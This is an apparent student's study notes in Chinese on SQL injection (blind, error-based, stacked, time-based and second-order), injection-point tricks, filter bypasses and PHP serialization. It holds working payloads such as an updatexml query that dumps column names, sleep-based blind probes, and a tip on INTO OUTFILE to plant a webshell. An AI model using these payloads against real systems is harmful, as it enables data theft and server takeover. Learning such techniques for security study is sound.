简介
今天学习了sql注入的另外一些类型,以及遇到sql注入时怎么处理
然后学习了php的类与对象,简单了解了php的序列化与反序列化
注释符
--+(--空格)
布尔盲注
页面没有回显点,只有报错和不报错
基于此,我们可以通过大量的请求来猜测敏感数据
username='aaa' or substr(username,1,1)='a' and id=1
判断第一条数据的第一个字母是不是a
像这样一位一位的猜显然很费时间,所以可以编写脚本来打
报错注入
没有回显点,有mysql执行sql语句的报错信息
常用函数
updatexml
extractvalue
整数溢出报错:exp pow cot
不存在函数报错 select xxx();xxx为不存在的函数
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123
堆叠注入
支持多条sql语句执行,用;分隔
如果可以堆叠,首先考虑存储过程 set @a=b;
以此来绕过关键字
时间盲注
没有明显的回显点,页面也没有明显的变化
可以执行sql注入,但是不会返回结果,也不会报错
**原理:**猜测某个条件,若成立,则sleep几秒
select id,username,password from user where username = 'admin' and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1);
猜对了就sleep 3秒,猜错了就返回1
延时方法
benchmark
benchmark(count,exp)
笛卡尔积延时法
select count(*) from user A,user B;
select count (*) from information_schema.columns A,information_schema.columns B,information_schema.tables C;
get_lock函数延迟法
select get_lock('a',3);
条件:针对数据库连接的长连接有效
php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库
java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池
rlike
通过大量的正则匹配来实现延迟
二次注入
无法直接注入,但是可以把要注入的数据插入数据库中,其他地方引用数据库中的数据,拼接sql语句时,默认不再进行过滤,直接拼接,造成曲线控制了sql语句
基于不同注入点的应对技巧
1.当我们控制点在where 之后,则尝试 闭合参数引号,有回显就联合注入,有报错,就报错注入等等
2.select title,content from page;
title,content是可以控制的点
select (select password from user where username='admin') ,content from page;
3 注入点在 group by 或者oder by之后
title是可以控制的点
select title,content from page order by title;
select title,content from page order by title,if(2>1,sleep(3),1);
4 注入点在limit 之后 5.6版本之前 8以后废弃
select title,content from page limit 1;
1是可以控制的点
select title,content from page limit 1 procedure analyse(updatexml(1,concat("^",(select user()),"^"),1));
一些绕过小技巧
1.字符串可以转为16进制来用
select 0x63746673686f77
2.相同或者类似功能的函数相互替换
substr sustring
3.mysql 还可以使用into outfile '/var/www/html/1.php' 的形式,从数据读取,转为数据写入,从而实现代码执行
如果mysql对'/var/www/html/1.php' 目录有写权限 ,就可以写入一句话木马来getshell
序列化与反序列化
序列化就是把一个字符串,整数,或者对象,转换成一段可以描述它的字符串 serialize
反序列化就是序列化的逆过程 unserialize
如果属性为public,序列化后,存储的属性名为属性名
如果属性为protect,序列化后,存储的属性名为%00+*+%00+属性名
如果属性为private,序列化后,存储的属性名为%00+类名+%00+属性名